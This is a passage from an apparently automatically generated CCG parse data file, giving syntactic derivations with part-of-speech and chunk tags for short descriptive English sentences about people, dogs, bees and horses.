t(n, 'pool', 'pool', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(646,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'beside', 'beside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'beautiful', 'beautiful', 'JJ', 'I-NP', 'O'),
t(n, 'waterfall', 'waterfall', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(647,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'scattering', 'scatter', 'VBG', 'I-VP', 'O'),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pack', 'pack', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'sheep', 'sheep', 'NN', 'I-NP', 'O'))))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dusty', 'dusty', 'JJ', 'I-NP', 'O'),
t(n, 'farm', 'farm', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(648,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'herding', 'herd', 'VBG', 'I-VP', 'O'),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pack', 'pack', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'sheep', 'sheep', 'NN', 'I-NP', 'O'))))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dusty', 'dusty', 'JJ', 'I-NP', 'O'),
t(n, 'farm', 'farm', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(649,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'tank', 'tank', 'NN', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'laughing', 'laugh', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(650,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'laughing', 'laugh', 'VBG', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'tank', 'tank', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(651,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'ice', 'ice', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(652,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'vast', 'vast', 'JJ', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'glacial', 'glacial', 'JJ', 'I-NP', 'O'),
t(n, 'ice', 'ice', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(653,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'ice', 'ice', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'hockey', 'hockey', 'NN', 'I-NP', 'O'),
t(n, 'goalkeeper', 'goalkeeper', 'NN', 'I-NP', 'O')))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'defending', 'defend', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'goal', 'goal', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(654,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'hockey', 'hockey', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'guarding', 'guard', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'goal', 'goal', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(655,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bicycle', 'bicycle', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'parking', 'parking', 'NN', 'I-NP', 'O'),
t(n, 'lot', 'lot', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(656,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'parking', 'park', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'bicycle', 'bicycle', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'lots', 'lot', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'riding', 'ride', 'VBG', 'I-NP', 'O'),
t(n, 'helmets', 'helmet', 'NNS', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(657,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'one', 'one', 'CD', 'I-NP', 'O'),
t(n, 'leg', 'leg', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(658,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'female', 'female', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(659,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'one', 'one', 'CD', 'I-NP', 'O'),
t(n, 'leg', 'leg', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(660,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(661,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bee', 'bee', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'clinging', 'cling', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'flower', 'flower', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(662,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'bee', 'bee', 'NN', 'I-NP', 'O'),
t(n, 'landing', 'landing', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bunch', 'bunch', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'flowers', 'flower', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(663,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'beige', 'beige', 'JJ', 'I-NP', 'O'),
t(n, 'spots', 'spot', 'NNS', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(664,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tan', 'tan', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'brush', 'brush', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(665,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hurdle', 'hurdle', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'leapt', 'leap', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'back', 'back', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(666,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'leaping', 'leap', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'barrier', 'barrier', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(667,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'teenage', 'teenage', 'JJ', 'I-NP', 'O'),
t(n, 'girls', 'girl', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'fancy', 'fancy', 'JJ', 'I-NP', 'O'),
t(n, 'dresses', 'dress', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'event', 'event', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(668,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'girls', 'girl', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'their', 'their', 'PRP$', 'I-NP', 'O'),
t(n, 'teens', 'teens', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'fancy', 'fancy', 'JJ', 'I-NP', 'O'),
t(n, 'dresses', 'dress', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'event', 'event', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(669,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'classroom', 'classroom', 'NN', 'I-NP', 'O')),
lx(np\np, s:adj\np,
fa(s:adj\np,
t((s:adj\np)/pp, 'full', 'full', 'JJ', 'I-ADJP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'students', 'student', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'attentively', 'attentively', 'RB', 'I-ADVP', 'O')),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'same', 'same', 'JJ', 'I-NP', 'O'),
t(n, 'direction', 'direction', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'inside', 'inside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bamboo', 'bamboo', 'NN', 'I-NP', 'O'),
t(n, 'structure', 'structure', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(670,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'students', 'student', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'uniforms', 'uniform', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'listening', 'listen', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'attentively', 'attentively', 'RB', 'I-ADVP', 'O')),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'class', 'class', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(671,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'small', 'small', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'steps', 'step', 'NNS', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
